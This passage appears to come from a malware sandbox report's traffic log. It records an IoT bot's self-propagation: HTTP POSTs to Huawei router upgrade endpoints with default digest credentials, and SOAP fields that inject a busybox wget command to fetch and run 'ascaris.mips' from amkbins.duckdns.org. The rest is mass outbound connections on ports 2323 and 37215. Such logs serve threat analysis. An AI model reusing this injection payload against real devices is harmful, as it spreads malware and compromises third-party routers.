3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 171.178.241.224:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 94.227.200.160:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 153.62.158.80:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 89.18.93.2:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 217.90.109.35:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 158.119.241.201:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 4.2.100.201:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 202.100.124.187:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 188.224.91.13:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 48.236.60.196:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 35.134.215.222:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 193.15.90.136:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 207.209.177.172:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 82.168.60.144:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 35.115.28.138:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 182.22.18.39:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 39.20.151.152:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 109.223.180.31:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 219.26.5.231:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 36.99.143.151:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 165.29.63.134:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 162.36.207.199:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 53.242.224.216:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 109.80.220.181:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 206.173.73.192:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 129.154.101.247:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 222.44.70.183:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 17.224.231.2:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 198.194.18.141:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 208.162.219.248:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 201.112.147.230:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 68.12.13.19:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 32.40.41.252:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 27.81.242.209:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 20.207.111.96:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 90.126.114.102:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 114.206.125.84:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 223.138.80.162:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 47.221.206.253:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 88.215.85.123:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 71.185.21.181:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 90.84.228.77:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 88.124.155.75:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 77.166.105.69:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 82.96.18.93:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 141.121.18.63:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 63.55.174.242:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 80.111.84.8:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 220.122.110.251:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:54811 -> 122.54.192.12:2323 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.2.220.207:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.186.241.224:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 190.143.81.200:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 148.163.2.204:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 101.166.2.161:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 147.213.219.89:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.89.46.249:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 198.100.147.57:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.132.138.117:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 77.87.163.232:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 182.48.31.156:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.226.202.180:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.108.194.90:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 171.133.110.240:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.164.185.1:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.191.231.235:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 50.240.160.179:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 123.92.181.143:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.138.154.103:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.28.47.203:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 159.168.1.145:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.6.130.165:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.73.10.118:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.134.225.134:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.44.80.128:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.14.186.200:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.102.185.199:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 135.249.181.157:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 87.232.114.41:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.185.194.158:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.223.20.84:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.86.204.112:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.106.164.244:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.250.92.215:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.212.59.236:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.151.89.187:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.93.44.34:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.189.40.140:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.171.32.45:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.155.62.73:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.214.211.174:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 91.199.100.119:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.100.114.167:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.192.47.187:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.189.182.151:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.147.175.199:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.117.214.241:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.142.48.161:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.132.120.158:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 211.148.59.149:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 14.122.48.51:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.30.187.68:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.26.0.160:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.94.238.199:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.34.147.192:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 176.18.135.130:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 130.151.251.4:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.100.186.19:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 50.220.38.192:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 213.25.16.153:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.75.67.180:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.144.190.17:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.254.75.183:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.217.0.250:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.125.137.34:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.230.255.241:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.244.86.48:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.166.237.5:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.8.151.21:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.125.95.141:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.113.142.3:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.90.253.184:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.151.168.189:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.131.191.14:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.110.150.16:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 219.98.175.115:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 120.180.71.199:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.141.88.174:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 8.42.173.94:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.119.12.107:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 169.164.247.166:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.85.138.38:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.139.42.144:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.149.40.227:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 115.205.82.101:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.177.149.166:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.125.191.117:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.114.39.87:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.158.50.191:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.73.30.142:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.194.143.6:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 175.175.8.52:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 24.33.127.83:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.191.222.255:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 146.140.92.228:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.163.89.47:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.21.98.140:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 61.53.166.213:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 160.103.172.189:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.226.255.109:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.249.124.120:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 87.205.108.139:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.52.101.129:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.185.115.200:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 63.154.138.196:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 46.199.226.45:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.126.238.20:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 13.50.96.87:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 116.214.75.233:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.60.83.42:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.233.254.74:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.33.124.252:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.75.22.35:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.253.9.236:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 161.80.201.71:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.119.19.148:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 191.152.100.48:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.211.88.251:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.216.104.181:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.48.197.215:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.41.164.142:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.233.21.60:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 162.8.133.26:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 36.236.236.73:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.158.2.52:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 147.118.212.185:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 14.156.144.221:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.240.66.43:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.195.76.125:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.198.194.139:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 169.55.74.77:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.201.17.194:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.18.10.156:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 5.231.70.68:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 162.57.95.121:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.44.253.228:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 123.144.233.124:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.28.0.137:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 108.245.254.95:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.67.28.39:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 146.162.53.109:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.58.123.171:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.88.3.95:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.171.238.205:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 80.147.115.47:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.250.245.97:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.228.149.147:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 144.64.82.228:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.210.249.75:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.35.217.90:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.110.157.77:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.207.34.35:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.168.67.31:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.213.117.36:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.57.185.161:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.48.42.81:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.181.7.228:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.214.95.203:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.138.137.114:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.249.105.172:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 49.244.144.54:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 143.184.189.178:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.160.2.87:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.158.57.92:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.113.136.1:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.249.69.10:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.163.152.214:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.154.217.48:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.98.95.133:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 58.205.158.82:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.34.21.145:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.171.143.125:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 104.146.129.164:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 219.231.87.81:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 142.72.242.164:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.113.101.157:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.187.108.116:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.27.218.198:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.203.190.18:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.233.248.200:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.197.13.158:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.198.3.26:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.42.137.203:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.247.101.239:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.167.139.203:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 194.160.20.142:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 120.194.47.248:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.167.244.8:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.140.152.125:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 210.47.166.199:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 162.72.12.221:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 219.211.171.62:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 157.126.242.182:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.31.84.106:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.23.188.40:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.90.201.203:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.78.152.145:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.125.199.149:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 197.165.95.16:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 83.109.235.14:37215 |
| Source: global traffic | TCP traffic: 192.168.2.23:55067 -> 41.241.249.121:37215 |
